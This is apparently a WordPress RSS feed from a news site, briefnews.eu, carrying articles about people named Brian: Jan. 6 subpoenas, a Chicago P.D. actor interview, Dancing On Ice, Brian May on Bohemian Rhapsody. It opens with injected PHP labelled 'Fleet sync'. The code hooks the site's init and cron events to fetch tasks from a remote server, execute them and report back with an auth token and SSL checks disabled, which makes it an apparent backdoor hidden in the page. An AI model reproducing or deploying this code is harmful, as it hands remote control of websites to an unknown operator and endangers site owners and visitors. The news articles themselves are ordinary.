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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Brian – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 10 Sep 2022 04:03:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Brian – Brief News https://briefnews.eu 32 32 Stephen Miller and Brian Jack, top Trump aides, were among more than a dozen people subpoenaed for DOJ’s expansive Jan. 6 investigation: NYT report https://briefnews.eu/stephen-miller-and-brian-jack-top-trump-aides-were-among-more-than-a-dozen-people-subpoenaed-for-dojs-expansive-jan-6-investigation-nyt-report/ https://briefnews.eu/stephen-miller-and-brian-jack-top-trump-aides-were-among-more-than-a-dozen-people-subpoenaed-for-dojs-expansive-jan-6-investigation-nyt-report/#respond Sat, 10 Sep 2022 04:03:13 +0000 https://briefnews.eu/stephen-miller-and-brian-jack-top-trump-aides-were-among-more-than-a-dozen-people-subpoenaed-for-dojs-expansive-jan-6-investigation-nyt-report/ Stephen Miller and Brian Jack.
Stephen Miller, right, and Brian Jack, left, are among more than a dozen people who were subpoenaed this week by a federal grand jury.

Andrew Harnik and Alex Brandon/AP

  • The DOJ currently has a broad investigation into the events around January 6, 2021.
  • Among the DOJ's interests are Donald Trump's PAC and the plot to overturn the 2020 vote.
  • Stephen Miller and Brian Jack, Trump advisors, were among more than a dozen subpoenaed this week, per NYT.

Two top former Trump advisors were subpoenaed this week as part of the Justice Department's expansive investigation into the events around the January 6 Capitol Riot and beyond, according to The New York Times.

Stephen Miller, a senior policy advisor during the Trump White House, and Brian Jack, Trump's political director, were among more than a dozen people in the former president's circle who were subpoenaed by a federal grand jury this week, The Times reported.

Miller and Jack did not immediately respond to a request for comment.

The subpoenas appear to seek information on Trump's main fundraising operation, Save America, which was formed after the 2020 election, and the alleged plot to overturn the 2020 vote by sending a slate of fake electors to contested states, per The Times.

On Thursday, The Times also reported that the DOJ is looking into the PAC based on about a half a dozen subpoenas to lower-level former Trump aides, including Nicholas Luna and Ivanka Trump's chief of staff, Julie Radford. It remains unclear why exactly the PAC is being investigated and how it might relate to the Capitol riot

The subpoenas for Miller and Jack are also related to the Trump PAC as well as the 2020 electors scheme, per The Times.

On top of the ongoing probe of Trump's handling of official government records, the DOJ is investigating the Capitol breach, any obstruction of that investigation, and the fake electors plot.

Miller was subpoenaed by the House select committee investigating January 6 for his phone records earlier this year. The advisor filed a suit to block the subpoena, CNN reported. He previously sat for a deposition with the panel.

Jack, who still advises Trump, was also subpoenaed by the committee last year.

So far, at least 40 members of Trump's circle are publicly known to have cooperated with federal and congressional investigators.

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Also in the interview, Brian addressed “why we exist,” which caused even more confusion with the hosts.

He explained: “I want to ask questions. As you said, these are the biggest questions we can ask.

“How did the universe begin? Why is there anything at all? Why do we exist? How do we exist?

“Also, what the fundamental nature of reality is. I think we’ve all asked these questions at some level and using some language.

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Onetime beat cop Sean Roman returns to the Windy City in this Wednesday’s crossover between Chicago Fire and Chicago P.D. (starting at 9/8c on NBC), but it won’t be a happy homecoming for the ex-police officer.

What brings Roman back is an intense personal crisis: His sister has gone missing, and her disappearance may be connected to a series of teen opioid overdoses. But instead of approaching his former colleagues at P.D. for help, Roman seeks out the Fire team, causing plenty of tension with his ex-girlfriend Burgess.

TVLine chatted with former series regular Brian Geraghty about his surprising return to his old stomping grounds, whether Roman still has feelings for Burgess and the “very, very challenging” nature of the crossover event.

TVLINE | How does it feel to be back after four seasons?
Has it been four seasons? I was trying to figure that out. It was just terrific. It was so fun. I loved being in Chicago — I stayed in my old neighborhood, the West Loop — and I couldn’t ask for a better way to come back and a better storyline, [which] was very, very challenging, in a way, but [it was] also fun to get back in there.

Chicago PD Brian GeraghtyTVLINE | Without getting into spoiler territory too much, I will just say that they definitely did not go easy on you in this crossover.
No. It was some of the most challenging work I’ve ever had. Usually, you have a scene or two. But to sustain that, for weeks at a time, was interesting. It was certainly the most work, and the most difficult work, I had on the show, in any of the shows, in my whole experience on them.

TVLINE | Has Roman changed in the time that he’s been away?
I think they kept the fun aspects. But I certainly would like to think he’s a little more understanding and mature and not as emotional. [In his] reaction towards Kim, I hope that came across, that he understands her and why people do the things they do. He’s a little more forgiving in that way. As we get older, hopefully, we learn, and the things we sweat, as time goes by, we start to go, “Wait, it’s not really a big deal.” … You can’t really see it in the Fire episode as much, because I’m there doing one thing. I think the scenes between Burgess and me, hopefully, will show that. She’s obviously a different character, as well.

TVLINE | You have some very quietly meaningful scenes with Burgess. How do the two characters feel about seeing each other again?
Marina [Squerciati] and I got together several times and rehearsed and talked. We went over how we left each other, and we got a couple of the scripts. We did some homework, for sure. It was important to us, in that first scene, to bring the history that we had. You kind of break up with somebody, you thought you’re cool, they go off, your life moves on, they show up and they’re involved [in an investigation]. It’s kind of like I was going behind their back, and I think when we first [see] each other, the idea was there’s a lot of tension between us. She says, like, “Don’t lie to me! I rode in a car with you for two years,” and that’s kind of like the basis of our relationship.

Then we start to realize, like, “Oh, we’re kind of going through this very similar [thing].” We’re able to lean on each other a bit after. We wanted a bit of tension, and then we wanted, within the writing, to say, “Hey, OK, we know each other, we trust each other. As much as my pride says I don’t want to lean on you, f–k it. I’m going to do it,” because we have a history. It was so well-written in that regard. It was a great thing, stepping back into the character. I just knew how to do it. I knew how to talk like him. He does his one-liners occasionally, and I was like, “Perfect, I get it.”

Chicago PD Brian GeraghtyTVLINE | When Roman left the show, he wanted Burgess to come with him. Do you think he’s still holding a flame for her at this point?
The way I thought of it is he’s single, but you come back, and you go, “Oh, wow, you’ve moved on.” I think there’s still that chemistry between them, sure. I don’t think he’s holding a flame for her. If the writing was so that there was potential for us to get back together, I don’t think that would be totally ridiculous, in other words. I could see that in some manner.

TVLINE | Did this crossover make you want to play Roman some more? Or do you feel like you got some closure with him now?
I felt like I got some closure to him. The show’s doing great, and there’s no need to bring another character back. But certainly, if they had a storyline that was compelling… I had such a great relationship with the show in general, but also [executive producer] Dick [Wolf]. I certainly am open to it. But I don’t think anybody’s trying to just fill some void. The way they did this was certainly very high-stakes and compelling, and that’s the way I think would be most interesting to ever bring a character back. And I didn’t realize how much — I have a lot of fans from this show. It’s been great. A lot of people love these shows. It’s pretty incredible.

TVLINE | Did you ever think that you would be back? Were you surprised to get that call?
You know, I had a feeling… When I came on the show, I was never supposed to be there long-term. So it wasn’t anything weird when I left. The time was expired, and I like to move around a lot. I’m an actor. I like to play all different parts. So, no, I’m not surprised, because of the way they left it open. I got Law & Order, my first episode was in 1998. [I did] a different one [SVU] eight years later. Then there was a couple opportunities, and then this came along. It was great timing. So Dick has been just a great advocate to me. We have a great relationship. So anytime Uncle Dick calls, I drop what I’m doing.

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This Morning hosts Phillip Schofield and Holly Willoughby welcomed the actor onto the show today to chat about what’s next for Succession and his career. But as the interview came to an end, Brian addressed Phillip praising him for coming out to the public.

After their interview with Brian came to an end, the actor reached out to Phillip before he could move onto the next segment.

“And by the way, well done,” he said.

Phillip seemed visibly moved by Brian’s remark as he replied: “Oh, thank you Brian.”

“Really, really well done,” Brian continued. “I was really proud of what you did.

“I thought that was a remarkable thing. And, really, that’s something.”

READ MORE: Phillip Schofield: Simon Cowell reacts to TV star coming out as gay

“I’ve had to deal with this in my head for quite some time and so we’ve gone through this together.”

He added: “We’ve been honest and we’ve been open and Steph, as I’ve said, I can’t write in any statement what I feel about that woman.

“She is amazing. She is incredible. I never, in my life, there is no one in my life who would have supported me the way, as a wife, she has supported me. She’s astonishing, literally astonishing.”

Holly was on hand to support her friend with Phillip revealing how she had been so “kind and wise” to him as he thought about revealing his sexuality.

“My friends are the best, especially Holly, who has been so kind and wise – and who has hugged me as I sobbed on her shoulder,” he said.

At the end of the chat, Phillip added: “I couldn’t have done it if it hadn’t been you.”

This Morning airs weekdays on ITV at 10am.

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Dancing On Ice 2019 began with a bang last week as the likes of Gemma Collins and James Jordan stunned judges – in more ways than one.

This weekend was set to see the remaining six contestant take to the ice and display their growing talents, however Brian McFadden may not appear.

A source revealed Brian suffered an injury during rehearsal yesterday.

They went on to explain Brian has “partially dislocated his shoulder and damaged his rotator cuff.”

They continued to say Brian could not rehearse any more yesterday.

But hiss condition is going to be reassessed today.

Images show Brian being checked over by a doctor who is presumably working out what was wrong with his shoulder.

It is as of yet unclear if this will force Brian to stop dancing in tonight’s episode of the show.

If he were not able to dance in the show this evening it is unclear whether he would automatically be put through to next week without any score.

Brian’s injury follows reports of him sustaining an alternative injury earlier this week.

His partner, Alex Murphy, reportedly told The Sun they had quite a fall during rehearsal.

She explained: “We had a fall, it was pretty bad.

“He was really anxious after that but I told him not to worry and hopefully it’s out of his system.”

However Brian denied these claims on his Twitter account, as he retweeted one of the articles.

He captioned the article: “Not true kids! I’m brand new and ready to roll!!! X.”

Brian isn’t the only contestant taking a tumble so far in the competition.

Melody Thornton recently revealed she fell during one of her practice sessions.

She told The Sun: “I was trying to put one foot behind the other and I stepped on my blasé and went backwards flying but landed on my face.

“It was so intense. You immediately want to cry.”

Dancing On Ice continues tomorrow at 6pm on ITV.

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The movie has been a runaway success with fans and roared past $ 740million at the global box office. Many critics, however, were less enamoured of the rock biopic, accusing it of avoiding the more difficult aspects of Freddie’s life. Who is right? After Bohemian Rhapsody scooped Best Film- Drama at the Golden Globes, Queen icon May said critics made a fundamental mistake and were then too proud to admit they were wrong.

Much of the controversy stems from the original split with former leading man Sacha Baron Cohen.

It was widely reported that Cohen had left the project because May and the filmmakers were not willing to address the darker side of Freddie’s life. May already publicly called Cohen an “ar**’ and disputed his account of the situation.

Rami Malek has also explained how the finished movie was always intended as a celebration of the music and Freddie’s unique spirit. malek’s performance has been universally praised and his Golden Globes Best Actor gong has made him hot favourite for this years Oscars.

Malek told Film Four: “There’s, of course, a gratuitous, illicit, hedonistic side to this film you could go down, but you want to hint at that so you can live in the joy of what this band means to so many people.

“When you hear Queen there is a smile on your face whatever the song is… So why not celebrate the band who made that song?”

At the backstage celebrations following the Golden Globes wins, May directly addressed the issue of poor reviews and criticism from the critics.

May said: “The mistake that critics made was reviewing the trailer instead of reviewing the film. They jumped to conclusions.

“Once people stake their claim, it’s hard for them to withdraw.”

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Trailers are an under-appreciated art form insofar that many times they’re seen as vehicles for showing footage, explaining films away, or showing their hand about what moviegoers can expect. Foreign, domestic, independent, big budget: What better way to hone your skills as a thoughtful moviegoer than by deconstructing these little pieces of advertising?

This week we steal some art, keep our comedy clean, get in the ring with a woman who’s ready to box,, make some deadly New Year’s resolutions and more.

Ruben Brandt, Collector

I don’t even know what to make of director Milorad Krstic’s animated opus, but this trailer hums with creativity.

Ruben Brandt, a famous psychotherapist, is forced to steal 13 paintings from the world’s renowned museums and private collections to prevent his suffering from terrible nightmares he has as a result of subliminal messaging he received as a child. Accompanied by his four patients, he and his band of thieves strike regularly and with great success: the Louvre, Tate, Uffizi, Hermitage, the Museum of Modern Art. “The Collector” quickly becomes the most wanted criminal in the world. Gangsters and headhunters chase him around the world while the reward for his capture keeps rising, approaching a hundred million dollars. A cartel of insurance companies entrusts Mike Kowalski, a private detective and leading expert on art theft, to solve the “Collector Case.”

The trailer is a Technicolor fever dream. The animation is different than anything else we’ve seen in some time, the narrative is wonderfully bizarre, and the way it pulls in artistic flourishes to inform its visual palette is an inspired choice. Good, bad, or indifferent, it’s attempting to be something artistically unique.

Stand Up and Away! With Brian Regan

This trailer is just fun. Brian Regan is known as the king of clean, but I will admit that this trailer made me laugh. In an era where some comedians are trying way too hard, and some that are just a little too “alt,” it’s just nice to have someone like Regan who is interested in just being funny. Somehow that’s very soothing, and this trailer exudes that confidence.

New Year, New You

I am ready to rocket past the holidays, and director Sophia Takal appears that she wants to ring in the New Year with some blood.

A social media star celebrates New Year’s Eve with her childhood friends, but a fun game of secrets turns into a terrifying fight for survival.

What makes this so much fun is just how absurd the premise is in the first place. It’s a Blumhouse joint so you know there’s a high concept involved, but the real satisfaction is that this is going to a lean, tight story. It’s not going to end up on any Best Of list, but when you’re in the mood for something light and airy it looks like this could deliver.

Float Like a Butterfly

Knowing that director Carmel Winters has the producer backing of the folks who gave Once and Sing Street to the world is the stamp of approval enough for me. It helps that the trailer is fantastic, but I also like the story behind it.

From the producers of Once and Sing Street, Float Like a Butterfly is a powerful and timely story of a girl’s fight for freedom and belonging. In a gender-reversal of classic film Billy Elliot, 15-year-old Frances has to fight for the right to fight back. Raised in roadside camps in rural Ireland, Frances wants to champion her people inside the boxing ring and out, like her idol Muhammad Ali. But society is determined to break her spirit and destroy her way of life. And her father, once her greatest ally, is too defeated himself to imagine any better for his daughter. But Frances was not born to be broken. In the mother of all fights, she must dig deep to find in herself the Champion her father once knew her to be.

The movie indeed isn’t as warm and cuddly as Once or Sing Street, there is an obvious lack of pop hits, but the story is emotionally and compelling enough that this is a must-see for me.

Slut in a Good Way

When it comes to deconstructing the young adult experience, it appears that director Sophie Lorain has it pretty well nailed.

Following in the footsteps of classic independent films like Clerks and To All The Boys I’ve Loved Before, Slut in a Good Way follows three teenage girls exploring their first taste of freedom: Charlotte, the recently heartbroken, Megane, the anti-love anarchist, and Aube, a virgin who dreams of love — all three smitten by the guys at the “Toy Depot.” After applying for their first part-time job at the store during this one fateful summer, the three girls experience for the very first time what it is like to make their own decisions and their resulting consequences.

The use of subtitles here is incredibly refreshing and adds a layer of youthfulness to the narrative. We enter these young women’s lives in a way that feels honest, direct, but also humorous. The pacing is superb and sets up for what looks like a delightful yarn.

Nota bene: If you have any suggestions of trailers for possible inclusion in this column, even have a trailer of your own to pitch, please let me know by sending me a note at Christopher_Stipp@yahoo.com or look me up via Twitter at @Stipp

In case you missed them, here are the other trailers we covered at /Film this week:

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On the December 14, 2018 episode of /Film Daily, /Film senior writer Ben Pearson is joined by /Film weekend editor Brad Oman and writer Hoai-Tran Bui to talk about the latest film and TV news, including the future of Sony’s animated Spider-Verse, if Henry Cavill is finished as Superman, Jurassic World 3, and Legendary making deals with comic creators for films and TV shows. They’ll also offer some comic/graphic novel recommendations in a mailbag segment.

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  • Michael O in Nashville TN asks, “I was wondering if you guys could recommend your favorite comic books / graphic novels? Some of my favorite series are The Walking Dead, Saga, and Y: The Last Man. I need to read more! Thanks a bunch and I’m addicted to the podcast.”
    • Peter: Ultimate Spider-Man, Alex and Ada, Letter 44, Descender, 100 Bullets, Kill or Be Killed, Blankets, Scott Pilgrim
    • Jacob: Paper Girls, Ex Machina, Bone, Chew, The Sixth Gun, Scalped, Fatale, Lazarus, East of West, Fear Agent, Deadly Class, Black Science, Mind MGMT, The Wicked and the Divine, Alan Moore’s Swamp Thing
    • Ben: Preacher, Y, Saga, Watchmen, Scott Pilgrim
    • HT: Matt Fraction and David Aja’s Hawkeye, The Sandman

 

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]]> https://briefnews.eu/daily-podcast-comic-recommendations-future-of-the-spider-verse-jurassic-world-3-henry-cavill-brian-k-vaughan/feed/ 0 Bohemian Rhapsody: 'Queen bandmates RESENTED Freddie Mercury' – Brian May says THIS https://briefnews.eu/bohemian-rhapsody-queen-bandmates-resented-freddie-mercury-brian-may-says-this/ https://briefnews.eu/bohemian-rhapsody-queen-bandmates-resented-freddie-mercury-brian-may-says-this/#respond Thu, 13 Dec 2018 14:21:59 +0000 http://briefnews.eu/bohemian-rhapsody-queen-bandmates-resented-freddie-mercury-brian-may-says-this/

Bohemian Rhapsody has triumphed at the global box office and is starting to pick up major award season buzz, with early nominations at the Golden Globes and Screen Actors Guild already announced. As the movie powers past half a billion dollars worldwide, criticisms persist that it is not accurate, that it avoids any uncomfortable truths about Freddie’s life and death, and that it hammers home how much his bandmates “resented” him. What is true? The band themselves have spoken out.  

In an early critique, Mike Ryan from Uproxx said: “My biggest takeaway from BOHEMIAN RHAPSODY is how much the rest of Queen resents Freddie Mercury…

“Also this is the first biopic I ever remember watching in which literally every scene I’m thinking, ‘there’s no way that’s how that actually went down.’ The whole third act is not even close to accurate. That’s all I’ll say.”

Brian May has already acknowledged that some of the timelines were altered, notably the sequences around Freddie revealing his HIV diagnosis and the Live Aid concert.

He told Classic Rock: “Queen fans will understand when they see it that certain things have been moved around for the story to make sense. You can’t collapse forty years of a person’s life into two and a half hours without cutting out a lot of stuff.”

But what about accusations that the film was being used as a way for the band to air their grievances with Freddie’s behaviour.

May has referred to the “gut-wrenching” scene where Freddie tells the band he is leaving to pursue a solo career, but many critics point out that all the members had been starting to investigate solo projects at that time. 

What is clear from interviews given by May and Taylor (Roger Deacon has had little official involvement with the band since his retirement in January 1997), is how much they hope the film shows every side of Freddie and reflects all his talents and depths.

Asked if Freddie would agree with how he is portrayed, May said: “I think he would have felt it was a fair cop, really. It shows all his greatness and all his fallibility and insecurity – the whole bit. I think it shows him very truthfully and not sycophantically, but in a way that appreciates his talent. Because he was sure was unique. I’ve never met anybody like Freddie in my life, before or since, and it’s probably not going to happen again.”

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]]> https://briefnews.eu/bohemian-rhapsody-queen-bandmates-resented-freddie-mercury-brian-may-says-this/feed/ 0 Bohemian Rhapsody: Queen star Brian May reveals how DEBAUCHED Freddie Mercury REALLY was https://briefnews.eu/bohemian-rhapsody-queen-star-brian-may-reveals-how-debauched-freddie-mercury-really-was/ https://briefnews.eu/bohemian-rhapsody-queen-star-brian-may-reveals-how-debauched-freddie-mercury-really-was/#respond Wed, 12 Dec 2018 00:11:07 +0000 http://briefnews.eu/bohemian-rhapsody-queen-star-brian-may-reveals-how-debauched-freddie-mercury-really-was/

Bohemian Rhapsody has soared to over half a billion dollars at the worldwide box office. Fans love it. The critics, however, have accused it of trying to ignore or hide the more shocking parts of Freddie’s life. The film actually shows some drugs and sex at parties in London and Berlin as Freddie’s life spins out of control, but was it whitewashed? How accurate is Rami Maleks performance, really? Brian May reveals the truth about what really went on.

May told Louder Sound: “It shows everything. Nobody thinks Freddie’s perfect, but he sure was unusual. You see it all. Not in a gratuitous way. It’s not meant to be messy and licentious, and I think that was a good decision.”

There have been criticisms that the film glossed over the uncomfortable and ugly truths of Freddie’s drug use and sexual exploits.

May hit back: “All that stuff is in there. But you don’t need to be revelling in scenes of debauchery. Not that Freddie was particularly debauched anyway. I know some people were looking for that. But no, it’s a film which portrays the truth, in a fairly gritty and honest but also entertaining way.”

The legendary guitarist and songwriter admitted he still struggles to watch the film.

May described his mixed feelings watching Freddie come to life on screen: “Joy and horror and sadness and all those big emotions. I’ve seen it hundreds of times now, in fragments and eventually coming together, and it still gets me, I must say.”

He pays tribute to how Malek breathed life into thw much-missed icon: “I love the way Rami has captured not only Freddie’s great powers and ebullience but also the sensitive side, the vulnerability of Freddie, of which there was a lot. He came from very small beginnings.”

Bandmate Roger Taylor added praise for Malek’s performance: “The speaking, the timbre, the tone of the whole range of his (Freddie’s) voice is pretty spot on.”

Malek revealed he trained for up to eight hours a day, studying old tapes and footage of Freddie, to get the voice and movement and as close to possible to the real thing. The fans and band themselves all agree he succeeded beyond all expectations.

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